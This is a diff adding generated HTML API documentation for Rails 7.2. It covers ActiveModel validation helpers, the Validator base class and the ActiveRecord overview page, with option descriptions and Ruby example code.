+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_each(*attr_names, &block) + +

+ + +
+

Validates each attribute against a block.

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :first_name, :last_name
+
+  validates_each :first_name, :last_name, allow_blank: true do |record, attr, value|
+    record.errors.add attr, "starts with z." if value.start_with?("z")
+  end
+end
+
+ +

Options:

+
  • +

    :on - Specifies the contexts where this validation is active. Runs in all validation contexts by default nil. You can pass a symbol or an array of symbols. (e.g. on: :create or on: :custom_validation_context or on: [:create, :custom_validation_context])

    +
  • +

    :allow_nil - Skip validation if attribute is nil.

    +
  • +

    :allow_blank - Skip validation if attribute is blank.

    +
  • +

    :if - Specifies a method, proc, or string to call to determine if the validation should occur (e.g. if: :allow_validation, or if: Proc.new { |user| user.signup_step > 2 }). The method, proc or string should return or evaluate to a true or false value.

    +
  • +

    :unless - Specifies a method, proc, or string to call to determine if the validation should not occur (e.g. unless: :skip_validation, or unless: Proc.new { |user| user.signup_step <= 2 }). The method, proc, or string should return or evaluate to a true or false value.

    +
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 104
+      def validates_each(*attr_names, &block)
+        validates_with BlockValidator, _merge_attributes(attr_names), &block
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_with(*args, &block) + +

+ + +
+

Passes the record off to the class or classes specified and allows them to add errors based on more complex conditions.

+ +
class Person
+  include ActiveModel::Validations
+  validates_with MyValidator
+end
+
+class MyValidator < ActiveModel::Validator
+  def validate(record)
+    if some_complex_logic
+      record.errors.add :base, 'This record is invalid'
+    end
+  end
+
+  private
+    def some_complex_logic
+      # ...
+    end
+end
+
+ +

You may also pass it multiple classes, like so:

+ +
class Person
+  include ActiveModel::Validations
+  validates_with MyValidator, MyOtherValidator, on: :create
+end
+
+ +

There is no default error message for validates_with. You must manually add errors to the record’s errors collection in the validator class.

+ +

To implement the validate method, you must have a record parameter defined, which is the record to be validated.

+ +

Configuration options:

+
  • +

    :on - Specifies the contexts where this validation is active. Runs in all validation contexts by default nil. You can pass a symbol or an array of symbols. (e.g. on: :create or on: :custom_validation_context or on: [:create, :custom_validation_context])

    +
  • +

    :if - Specifies a method, proc, or string to call to determine if the validation should occur (e.g. if: :allow_validation, or if: Proc.new { |user| user.signup_step > 2 }). The method, proc, or string should return or evaluate to a true or false value.

    +
  • +

    :unless - Specifies a method, proc, or string to call to determine if the validation should not occur (e.g. unless: :skip_validation, or unless: Proc.new { |user| user.signup_step <= 2 }). The method, proc, or string should return or evaluate to a true or false value.

    +
  • +

    :strict - Specifies whether validation should be strict. See ActiveModel::Validations#validates! for more information.

    +
+ +

If you pass any additional configuration options, they will be passed to the class and available as options:

+ +
class Person
+  include ActiveModel::Validations
+  validates_with MyValidator, my_custom_key: 'my custom value'
+end
+
+class MyValidator < ActiveModel::Validator
+  def validate(record)
+    options[:my_custom_key] # => "my custom value"
+  end
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/with.rb, line 88
+      def validates_with(*args, &block)
+        options = args.extract_options!
+        options[:class] = self
+
+        args.each do |klass|
+          validator = klass.new(options.dup, &block)
+
+          if validator.respond_to?(:attributes) && !validator.attributes.empty?
+            validator.attributes.each do |attribute|
+              _validators[attribute.to_sym] << validator
+            end
+          else
+            _validators[nil] << validator
+          end
+
+          validate(validator, options)
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validators() + +

+ + +
+

List all validators that are being used to validate the model using validates_with method.

+ +
class Person
+  include ActiveModel::Validations
+
+  validates_with MyValidator
+  validates_with OtherValidator, on: :create
+  validates_with StrictValidator, strict: true
+end
+
+Person.validators
+# => [
+#      #<MyValidator:0x007fbff403e808 @options={}>,
+#      #<OtherValidator:0x007fbff403d930 @options={on: :create}>,
+#      #<StrictValidator:0x007fbff3204a30 @options={strict:true}>
+#    ]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 206
+      def validators
+        _validators.values.flatten.uniq
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validators_on(*attributes) + +

+ + +
+

List all validators that are being used to validate a specific attribute.

+ +
class Person
+  include ActiveModel::Validations
+
+  attr_accessor :name, :age
+
+  validates_presence_of :name
+  validates_inclusion_of :age, in: 0..99
+end
+
+Person.validators_on(:name)
+# => [
+#       #<ActiveModel::Validations::PresenceValidator:0x007fe604914e60 @attributes=[:name], @options={}>,
+#    ]
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations.rb, line 268
+      def validators_on(*attributes)
+        attributes.flat_map do |attribute|
+          _validators[attribute.to_sym]
+        end
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Validations/HelperMethods.html b/src/7.2/classes/ActiveModel/Validations/HelperMethods.html new file mode 100644 index 0000000000..4c7ccfd95b --- /dev/null +++ b/src/7.2/classes/ActiveModel/Validations/HelperMethods.html @@ -0,0 +1,818 @@ +--- +title: ActiveModel::Validations::HelperMethods +layout: default +--- +
+ +
+
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + + + + +

Instance Public methods

+ +
+

+ + validates_absence_of(*attr_names) + +

+ + +
+

Validates that the specified attributes are blank (as defined by Object#present?).

+ +
class Person < ActiveRecord::Base
+  validates_absence_of :first_name
+end
+
+ +

The first_name attribute must be in the object and it must be blank.

+ +

Configuration options:

+
  • +

    :message - A custom error message (default is: β€œmust be blank”).

    +
+ +

There is also a list of default options supported by every validator: :if, :unless, :on, :allow_nil, :allow_blank, and :strict. See ActiveModel::Validations::ClassMethods#validates for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/absence.rb, line 28
+      def validates_absence_of(*attr_names)
+        validates_with AbsenceValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_acceptance_of(*attr_names) + +

+ + +
+

Encapsulates the pattern of wanting to validate the acceptance of a terms of service check box (or similar agreement).

+ +
class Person < ActiveRecord::Base
+  validates_acceptance_of :terms_of_service
+  validates_acceptance_of :eula, message: 'must be abided'
+end
+
+ +

If the database column does not exist, the terms_of_service attribute is entirely virtual. This check is performed only if terms_of_service is not nil.

+ +

Configuration options:

+
  • +

    :message - A custom error message (default is: β€œmust be accepted”).

    +
  • +

    :accept - Specifies a value that is considered accepted. Also accepts an array of possible values. The default value is an array [β€œ1”, true], which makes it easy to relate to an HTML checkbox. This should be set to, or include, true if you are validating a database column, since the attribute is typecast from β€œ1” to true before validation.

    +
+ +

There is also a list of default options supported by every validator: :if, :unless, :on, :allow_nil, :allow_blank, and :strict. See ActiveModel::Validations::ClassMethods#validates for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/acceptance.rb, line 108
+      def validates_acceptance_of(*attr_names)
+        validates_with AcceptanceValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_comparison_of(*attr_names) + +

+ + +
+

Validates the value of a specified attribute fulfills all defined comparisons with another value, proc, or attribute.

+ +
class Person < ActiveRecord::Base
+  validates_comparison_of :value, greater_than: 'the sum of its parts'
+end
+
+ +

Configuration options:

+
  • +

    :message - A custom error message (default is: β€œfailed comparison”).

    +
  • +

    :greater_than - Specifies the value must be greater than the supplied value. The default error message for this option is _β€œmust be greater than %{count}”_.

    +
  • +

    :greater_than_or_equal_to - Specifies the value must be greater than or equal to the supplied value. The default error message for this option is _β€œmust be greater than or equal to %{count}”_.

    +
  • +

    :equal_to - Specifies the value must be equal to the supplied value. The default error message for this option is _β€œmust be equal to %{count}”_.

    +
  • +

    :less_than - Specifies the value must be less than the supplied value. The default error message for this option is _β€œmust be less than %{count}”_.

    +
  • +

    :less_than_or_equal_to - Specifies the value must be less than or equal to the supplied value. The default error message for this option is _β€œmust be less than or equal to %{count}”_.

    +
  • +

    :other_than - Specifies the value must not be equal to the supplied value. The default error message for this option is _β€œmust be other than %{count}”_.

    +
+ +

There is also a list of default options supported by every validator: :if, :unless, :on, :allow_nil, :allow_blank, and :strict . See ActiveModel::Validations::ClassMethods#validates for more information.

+ +

The validator requires at least one of the following checks to be supplied. Each will accept a proc, value, or a symbol which corresponds to a method:

+
  • +

    :greater_than

    +
  • +

    :greater_than_or_equal_to

    +
  • +

    :equal_to

    +
  • +

    :less_than

    +
  • +

    :less_than_or_equal_to

    +
  • +

    :other_than

    +
+ +

For example:

+ +
class Person < ActiveRecord::Base
+  validates_comparison_of :birth_date, less_than_or_equal_to: -> { Date.today }
+  validates_comparison_of :preferred_name, other_than: :given_name, allow_nil: true
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/comparison.rb, line 85
+      def validates_comparison_of(*attr_names)
+        validates_with ComparisonValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_confirmation_of(*attr_names) + +

+ + +
+

Encapsulates the pattern of wanting to validate a password or email address field with a confirmation.

+ +
Model:
+  class Person < ActiveRecord::Base
+    validates_confirmation_of :user_name, :password
+    validates_confirmation_of :email_address,
+                              message: 'should match confirmation'
+  end
+
+View:
+  <%= password_field "person", "password" %>
+  <%= password_field "person", "password_confirmation" %>
+
+ +

The added password_confirmation attribute is virtual; it exists only as an in-memory attribute for validating the password. To achieve this, the validation adds accessors to the model for the confirmation attribute.

+ +

NOTE: This check is performed only if password_confirmation is not nil. To require confirmation, make sure to add a presence check for the confirmation attribute:

+ +
validates_presence_of :password_confirmation, if: :password_changed?
+
+ +

Configuration options:

+
  • +

    :message - A custom error message (default is: β€œdoesn’t match %{translated_attribute_name}”).

    +
  • +

    :case_sensitive - Looks for an exact match. Ignored by non-text columns (true by default).

    +
+ +

There is also a list of default options supported by every validator: :if, :unless, :on, :allow_nil, :allow_blank, and :strict. See ActiveModel::Validations::ClassMethods#validates for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/confirmation.rb, line 75
+      def validates_confirmation_of(*attr_names)
+        validates_with ConfirmationValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_exclusion_of(*attr_names) + +

+ + +
+

Validates that the value of the specified attribute is not in a particular enumerable object.

+ +
class Person < ActiveRecord::Base
+  validates_exclusion_of :username, in: %w( admin superuser ), message: "You don't belong here"
+  validates_exclusion_of :age, in: 30..60, message: 'This site is only for under 30 and over 60'
+  validates_exclusion_of :format, in: %w( mov avi ), message: "extension %{value} is not allowed"
+  validates_exclusion_of :password, in: ->(person) { [person.username, person.first_name] },
+                         message: 'should not be the same as your username or first name'
+  validates_exclusion_of :karma, in: :reserved_karmas
+end
+
+ +

Configuration options:

+
  • +

    :in - An enumerable object of items that the value shouldn’t be part of. This can be supplied as a proc, lambda, or symbol which returns an enumerable. If the enumerable is a numerical, time, or datetime range the test is performed with Range#cover?, otherwise with include?. When using a proc or lambda the instance under validation is passed as an argument.

    +
  • +

    :within - A synonym(or alias) for :in Range#cover?, otherwise with include?.

    +
  • +

    :message - Specifies a custom error message (default is: β€œis reserved”).

    +
+ +

There is also a list of default options supported by every validator: :if, :unless, :on, :allow_nil, :allow_blank, and :strict. See ActiveModel::Validations::ClassMethods#validates for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/exclusion.rb, line 44
+      def validates_exclusion_of(*attr_names)
+        validates_with ExclusionValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_format_of(*attr_names) + +

+ + +
+

Validates whether the value of the specified attribute is of the correct form, going by the regular expression provided. You can require that the attribute matches the regular expression:

+ +
class Person < ActiveRecord::Base
+  validates_format_of :email, with: /\A([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})\z/i, on: :create
+end
+
+ +

Alternatively, you can require that the specified attribute does not match the regular expression:

+ +
class Person < ActiveRecord::Base
+  validates_format_of :email, without: /NOSPAM/
+end
+
+ +

You can also provide a proc or lambda which will determine the regular expression that will be used to validate the attribute.

+ +
class Person < ActiveRecord::Base
+  # Admin can have number as a first letter in their screen name
+  validates_format_of :screen_name,
+                      with: ->(person) { person.admin? ? /\A[a-z0-9][a-z0-9_\-]*\z/i : /\A[a-z][a-z0-9_\-]*\z/i }
+end
+
+ +

Note: use \A and \z to match the start and end of the string, ^ and $ match the start/end of a line.

+ +

Due to frequent misuse of ^ and $, you need to pass the multiline: true option in case you use any of these two anchors in the provided regular expression. In most cases, you should be using \A and \z.

+ +

You must pass either :with or :without as an option. In addition, both must be a regular expression or a proc or lambda, or else an exception will be raised.

+ +

Configuration options:

+
  • +

    :message - A custom error message (default is: β€œis invalid”).

    +
  • +

    :with - Regular expression that if the attribute matches will result in a successful validation. This can be provided as a proc or lambda returning regular expression which will be called at runtime.

    +
  • +

    :without - Regular expression that if the attribute does not match will result in a successful validation. This can be provided as a proc or lambda returning regular expression which will be called at runtime.

    +
  • +

    :multiline - Set to true if your regular expression contains anchors that match the beginning or end of lines as opposed to the beginning or end of the string. These anchors are ^ and $.

    +
+ +

There is also a list of default options supported by every validator: :if, :unless, :on, :allow_nil, :allow_blank, and :strict. See ActiveModel::Validations::ClassMethods#validates for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/format.rb, line 107
+      def validates_format_of(*attr_names)
+        validates_with FormatValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_inclusion_of(*attr_names) + +

+ + +
+

Validates whether the value of the specified attribute is available in a particular enumerable object.

+ +
class Person < ActiveRecord::Base
+  validates_inclusion_of :role, in: %w( admin contributor )
+  validates_inclusion_of :age, in: 0..99
+  validates_inclusion_of :format, in: %w( jpg gif png ), message: "extension %{value} is not included in the list"
+  validates_inclusion_of :states, in: ->(person) { STATES[person.country] }
+  validates_inclusion_of :karma, in: :available_karmas
+end
+
+ +

Configuration options:

+
  • +

    :in - An enumerable object of available items. This can be supplied as a proc, lambda, or symbol which returns an enumerable. If the enumerable is a numerical, time, or datetime range the test is performed with Range#cover?, otherwise with include?. When using a proc or lambda the instance under validation is passed as an argument.

    +
  • +

    :within - A synonym(or alias) for :in

    +
  • +

    :message - Specifies a custom error message (default is: β€œis not included in the list”).

    +
+ +

There is also a list of default options supported by every validator: :if, :unless, :on, :allow_nil, :allow_blank, and :strict. See ActiveModel::Validations::ClassMethods#validates for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/inclusion.rb, line 42
+      def validates_inclusion_of(*attr_names)
+        validates_with InclusionValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_length_of(*attr_names) + +

+ + +
+

Validates that the specified attributes match the length restrictions supplied. Only one constraint option can be used at a time apart from :minimum and :maximum that can be combined together:

+ +
class Person < ActiveRecord::Base
+  validates_length_of :first_name, maximum: 30
+  validates_length_of :last_name, maximum: 30, message: "less than 30 if you don't mind"
+  validates_length_of :fax, in: 7..32, allow_nil: true
+  validates_length_of :phone, in: 7..32, allow_blank: true
+  validates_length_of :user_name, within: 6..20, too_long: 'pick a shorter name', too_short: 'pick a longer name'
+  validates_length_of :zip_code, minimum: 5, too_short: 'please enter at least 5 characters'
+  validates_length_of :smurf_leader, is: 4, message: "papa is spelled with 4 characters... don't play me."
+  validates_length_of :words_in_essay, minimum: 100, too_short: 'Your essay must be at least 100 words.'
+
+  private
+    def words_in_essay
+      essay.scan(/\w+/)
+    end
+end
+
+ +

Constraint options:

+
  • +

    :minimum - The minimum size of the attribute.

    +
  • +

    :maximum - The maximum size of the attribute. Allows nil by default if not used with :minimum.

    +
  • +

    :is - The exact size of the attribute.

    +
  • +

    :within - A range specifying the minimum and maximum size of the attribute.

    +
  • +

    :in - A synonym (or alias) for :within.

    +
+ +

Other options:

+
  • +

    :allow_nil - Attribute may be nil; skip validation.

    +
  • +

    :allow_blank - Attribute may be blank; skip validation.

    +
  • +

    :too_long - The error message if the attribute goes over the maximum (default is: β€œis too long (maximum is %{count} characters)”).

    +
  • +

    :too_short - The error message if the attribute goes under the minimum (default is: β€œis too short (minimum is %{count} characters)”).

    +
  • +

    :wrong_length - The error message if using the :is method and the attribute is the wrong size (default is: β€œis the wrong length (should be %{count} characters)”).

    +
  • +

    :message - The error message to use for a :minimum, :maximum, or :is violation. An alias of the appropriate too_long/too_short/wrong_length message.

    +
+ +

There is also a list of default options supported by every validator: :if, :unless, :on, and :strict. See ActiveModel::Validations::ClassMethods#validates for more information.

+
+ + + +
+ Also aliased as: validates_size_of +
+ + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/length.rb, line 123
+      def validates_length_of(*attr_names)
+        validates_with LengthValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_numericality_of(*attr_names) + +

+ + +
+

Validates whether the value of the specified attribute is numeric by trying to convert it to a float with Kernel.Float (if only_integer is false) or applying it to the regular expression /\A[+\-]?\d+\z/ (if only_integer is set to true). Precision of Kernel.Float values are guaranteed up to 15 digits.

+ +
class Person < ActiveRecord::Base
+  validates_numericality_of :value, on: :create
+end
+
+ +

Configuration options:

+
  • +

    :message - A custom error message (default is: β€œis not a number”).

    +
  • +

    :only_integer - Specifies whether the value has to be an integer (default is false).

    +
  • +

    :only_numeric - Specifies whether the value has to be an instance of Numeric (default is false). The default behavior is to attempt parsing the value if it is a String.

    +
  • +

    :allow_nil - Skip validation if attribute is nil (default is false). Notice that for Integer and Float columns empty strings are converted to nil.

    +
  • +

    :greater_than - Specifies the value must be greater than the supplied value. The default error message for this option is _β€œmust be greater than %{count}”_.

    +
  • +

    :greater_than_or_equal_to - Specifies the value must be greater than or equal the supplied value. The default error message for this option is _β€œmust be greater than or equal to %{count}”_.

    +
  • +

    :equal_to - Specifies the value must be equal to the supplied value. The default error message for this option is _β€œmust be equal to %{count}”_.

    +
  • +

    :less_than - Specifies the value must be less than the supplied value. The default error message for this option is _β€œmust be less than %{count}”_.

    +
  • +

    :less_than_or_equal_to - Specifies the value must be less than or equal the supplied value. The default error message for this option is _β€œmust be less than or equal to %{count}”_.

    +
  • +

    :other_than - Specifies the value must be other than the supplied value. The default error message for this option is _β€œmust be other than %{count}”_.

    +
  • +

    :odd - Specifies the value must be an odd number. The default error message for this option is _β€œmust be odd”_.

    +
  • +

    :even - Specifies the value must be an even number. The default error message for this option is _β€œmust be even”_.

    +
  • +

    :in - Check that the value is within a range. The default error message for this option is _β€œmust be in %{count}”_.

    +
+ +

There is also a list of default options supported by every validator: :if, :unless, :on, :allow_nil, :allow_blank, and :strict . See ActiveModel::Validations::ClassMethods#validates for more information.

+ +

The following checks can also be supplied with a proc or a symbol which corresponds to a method:

+
  • +

    :greater_than

    +
  • +

    :greater_than_or_equal_to

    +
  • +

    :equal_to

    +
  • +

    :less_than

    +
  • +

    :less_than_or_equal_to

    +
  • +

    :only_integer

    +
  • +

    :other_than

    +
+ +

For example:

+ +
class Person < ActiveRecord::Base
+  validates_numericality_of :width, less_than: ->(person) { person.height }
+  validates_numericality_of :width, greater_than: :minimum_weight
+end
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/numericality.rb, line 217
+      def validates_numericality_of(*attr_names)
+        validates_with NumericalityValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_presence_of(*attr_names) + +

+ + +
+

Validates that the specified attributes are not blank (as defined by Object#blank?).

+ +
class Person < ActiveRecord::Base
+  validates_presence_of :first_name
+end
+
+ +

The first_name attribute must be in the object and it cannot be blank.

+ +

If you want to validate the presence of a boolean field (where the real values are true and false), you will want to use validates_inclusion_of :field_name, in: [true, false].

+ +

This is due to the way Object#blank? handles boolean values: false.blank? # => true.

+ +

Configuration options:

+
  • +

    :message - A custom error message (default is: β€œcan’t be blank”).

    +
+ +

There is also a list of default options supported by every validator: :if, :unless, :on, :allow_nil, :allow_blank, and :strict. See ActiveModel::Validations::ClassMethods#validates for more information.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validations/presence.rb, line 34
+      def validates_presence_of(*attr_names)
+        validates_with PresenceValidator, _merge_attributes(attr_names)
+      end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validates_size_of(*attr_names) + +

+ + +
+ +
+ + + + + +
+ Alias for: validates_length_of +
+ + + + +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveModel/Validator.html b/src/7.2/classes/ActiveModel/Validator.html new file mode 100644 index 0000000000..3412d5dad2 --- /dev/null +++ b/src/7.2/classes/ActiveModel/Validator.html @@ -0,0 +1,343 @@ +--- +title: ActiveModel::Validator +layout: default +--- +
+ +
+
+ +
+ +

Active Model Validator

+ +

A simple base class that can be used along with ActiveModel::Validations::ClassMethods.validates_with

+ +
class Person
+  include ActiveModel::Validations
+  validates_with MyValidator
+end
+
+class MyValidator < ActiveModel::Validator
+  def validate(record)
+    if some_complex_logic
+      record.errors.add(:base, "This record is invalid")
+    end
+  end
+
+  private
+    def some_complex_logic
+      # ...
+    end
+end
+
+ +

Any class that inherits from ActiveModel::Validator must implement a method called validate which accepts a record.

+ +
class Person
+  include ActiveModel::Validations
+  validates_with MyValidator
+end
+
+class MyValidator < ActiveModel::Validator
+  def validate(record)
+    record # => The person instance being validated
+    options # => Any non-standard options passed to validates_with
+  end
+end
+
+ +

To cause a validation error, you must add to the recordβ€˜s errors directly from within the validators message.

+ +
class MyValidator < ActiveModel::Validator
+  def validate(record)
+    record.errors.add :base, "This is some custom error message"
+    record.errors.add :first_name, "This is some complex validation"
+    # etc...
+  end
+end
+
+ +

To add behavior to the initialize method, use the following signature:

+ +
class MyValidator < ActiveModel::Validator
+  def initialize(options)
+    super
+    @my_custom_field = options[:field_name] || :first_name
+  end
+end
+
+ +

Note that the validator is initialized only once for the whole application life cycle, and not on each validation run.

+ +

The easiest way to add custom validators for validating individual attributes is with the convenient ActiveModel::EachValidator class.

+ +
class TitleValidator < ActiveModel::EachValidator
+  def validate_each(record, attribute, value)
+    record.errors.add attribute, 'must be Mr., Mrs., or Dr.' unless %w(Mr. Mrs. Dr.).include?(value)
+  end
+end
+
+ +

This can now be used in combination with the validates method. See ActiveModel::Validations::ClassMethods#validates for more on this.

+ +
class Person
+  include ActiveModel::Validations
+  attr_accessor :title
+
+  validates :title, presence: true, title: true
+end
+
+ +

It can be useful to access the class that is using that validator when there are prerequisites such as an attr_accessor being present. This class is accessible via options[:class] in the constructor. To set up your validator override the constructor.

+ +
class MyValidator < ActiveModel::Validator
+  def initialize(options={})
+    super
+    options[:class].attr_accessor :custom_attribute
+  end
+end
+
+ +
+ + + + + + + + + + + +

Methods

+ + + + + + + + + + + + + + +

Attributes

+ + + + + + + + +
+ [R] + options
+ + + + +

Class Public methods

+ +
+

+ + kind() + +

+ + +
+

Returns the kind of the validator.

+ +
PresenceValidator.kind   # => :presence
+AcceptanceValidator.kind # => :acceptance
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validator.rb, line 103
+    def self.kind
+      @kind ||= name.split("::").last.underscore.chomp("_validator").to_sym unless anonymous?
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + new(options = {}) + +

+ + +
+

Accepts options that will be made available through the options reader.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validator.rb, line 108
+    def initialize(options = {})
+      @options = options.except(:class).freeze
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + +

Instance Public methods

+ +
+

+ + kind() + +

+ + +
+

Returns the kind for this validator.

+ +
PresenceValidator.new(attributes: [:username]).kind # => :presence
+AcceptanceValidator.new(attributes: [:terms]).kind  # => :acceptance
+
+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validator.rb, line 116
+    def kind
+      self.class.kind
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ +
+

+ + validate(record) + +

+ + +
+

Override this method in subclasses with validation logic, adding errors to the records errors array where necessary.

+
+ + + + + + + + +
+ + πŸ“ Source code + + +
# File activemodel/lib/active_model/validator.rb, line 122
+    def validate(record)
+      raise NotImplementedError, "Subclasses must implement a validate(record) method."
+    end
+ + πŸ”Ž See on GitHub + +
+ +
+ + + + +
+ +
+
diff --git a/src/7.2/classes/ActiveRecord.html b/src/7.2/classes/ActiveRecord.html new file mode 100644 index 0000000000..b328117963 --- /dev/null +++ b/src/7.2/classes/ActiveRecord.html @@ -0,0 +1,2954 @@ +--- +title: ActiveRecord +layout: default +--- +
+ +
+
+ +
+ +

Active Record – Object-relational mapping in Rails

+ +

Active Record connects classes to relational database tables to establish an almost zero-configuration persistence layer for applications. The library provides a base class that, when subclassed, sets up a mapping between the new class and an existing table in the database. In the context of an application, these classes are commonly referred to as models. Models can also be connected to other models; this is done by defining associations.

+ +

Active Record relies heavily on naming in that it uses class and association names to establish mappings between respective database tables and foreign key columns. Although these mappings can be defined explicitly, it’s recommended to follow naming conventions, especially when getting started with the library.

+ +

You can read more about Active Record in the Active Record Basics guide.

+ +

A short rundown of some of the major features:

+
  • +

    Automated mapping between classes and tables, attributes and columns.

    + +
    class Product < ActiveRecord::Base
    +end
    +
    + +

    The Product class is automatically mapped to the table named β€œproducts”, which might look like this:

    + +
    CREATE TABLE products (
    +  id bigint NOT NULL auto_increment,
    +  name varchar(255),
    +  PRIMARY KEY  (id)
    +);
    +
    + +

    This would also define the following accessors: Product#name and Product#name=(new_name).

    + +

    Learn more

    +
  • +

    Associations between objects defined by simple class methods.

    + +
    class Firm < ActiveRecord::Base
    +  has_many   :clients
    +  has_one    :account
    +  belongs_to :conglomerate
    +end
    +
    + +

    Learn more

    +
  • +

    Aggregations of value objects.

    + +
    class Account < ActiveRecord::Base
    +  composed_of :balance, class_name: 'Money',
    +              mapping: %w(balance amount)
    +  composed_of :address,
    +              mapping: [%w(address_street street), %w(address_city city)]
    +end
    +
    + +

    Learn more

    +
  • +

    Validation rules that can differ for new or existing objects.

    + +
    class Account < ActiveRecord::Base
    +  validates :subdomain, :name, :email_address, :password, presence: true
    +  validates :subdomain, uniqueness: true
    +  validates :terms_of_service, acceptance: true, on: :create
    +  validates :password, :email_address, confirmation: true, on: :create
    +end
    +
    + +

    Learn more

    +
  • +

    Callbacks available for the entire life cycle (instantiation, saving, destroying, validating, etc.).

    + +
    class Person < ActiveRecord::Base
    +  before_destroy :invalidate_payment_plan
    +  # the `invalidate_payment_plan` method gets called just before Person#destroy
    +end
    +
    + +

    Learn more

    +
  • +

    Inheritance hierarchies.

    + +
    class Company < ActiveRecord::Base; end
    +class Firm < Company; end
    +class Client < Company; end
    +class PriorityClient < Client; end
    +
    + +

    Learn more

    +
  • +

    Transactions.

    + +
    # Database transaction
    +Account.transaction do
    +  david.withdrawal(100)
    +  mary.deposit(100)
    +end
    +
    + +

    Learn more

    +
  • +

    Reflections on columns, associations, and aggregations.

    + +
    reflection = Firm.reflect_on_association(:clients)
    +reflection.klass # => Client (class)
    +Firm.columns # Returns an array of column descriptors for the firms table
    +
    + +

    Learn more

    +
  • +

    Database abstraction through simple adapters.

    + +
    # connect to SQLite3
    +ActiveRecord::Base.establish_connection(adapter: 'sqlite3', database: 'dbfile.sqlite3')
    +
    +# connect to MySQL with authentication
    +ActiveRecord::Base.establish_connection(
    +  adapter:  'mysql2',
    +  host:     'localhost',
    +  username: 'me',
    +  password: 'secret',
    +  database: 'activerecord'
    +)
    +
    + +

    Learn more and read about the built-in support for MySQL, PostgreSQL, and SQLite3.

    +
  • +

    Logging support for Log4r and Logger.

    + +
    ActiveRecord::Base.logger = ActiveSupport::Logger.new(STDOUT)
    +ActiveRecord::Base.logger = Log4r::Logger.new('Application Log')
    +
    +
  • +

    Database agnostic schema management with Migrations.

    + +
    class AddSystemSettings < ActiveRecord::Migration[7.2]
    +  def up
    +    create_table :system_settings do |t|
    +      t.string  :name
    +      t.string  :label
    +      t.text    :value
    +      t.string  :type
    +      t.integer :position
    +    end
    +
    +    SystemSetting.create name: 'notice', label: 'Use notice?', value: 1
    +  end
    +
    +  def down
    +    drop_table :system_settings
    +  end
    +end
    +
    + +

    Learn more

    +
+ +

Philosophy

+ +

Active Record is an implementation of the object-relational mapping (ORM) pattern by the same name described by Martin Fowler:

+ +
+

β€œAn object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data.”

+
+ +

Active Record attempts to provide a coherent wrapper as a solution for the inconvenience that is object-relational mapping. The prime directive for this mapping has been to minimize the amount of code needed to build a real-world domain model. This is made possible by relying on a number of conventions that make it easy for Active Record to infer complex relations and structures from a minimal amount of explicit direction.

+ +

Convention over Configuration:

+
  • +

    No XML files!

    +
  • +

    Lots of reflection and run-time extension

    +
  • +

    Magic is not inherently a bad word

    +
+ +

Admit the Database:

+
  • +

    Lets you drop down to SQL for odd cases and performance

    +
  • +

    Doesn’t attempt to duplicate or replace data definitions

    +
+ +

Download and installation

+ +

The latest version of Active Record can be installed with RubyGems:

+ +
$ gem install activerecord
+
+ +

Source code can be downloaded as part of the Rails project on GitHub:

+ + +

License

+ +

Active Record is released under the MIT license:

+ + +

Support

+ +

API documentation is at:

+ + +

Bug reports for the Ruby on Rails project can be filed here:

+ + +

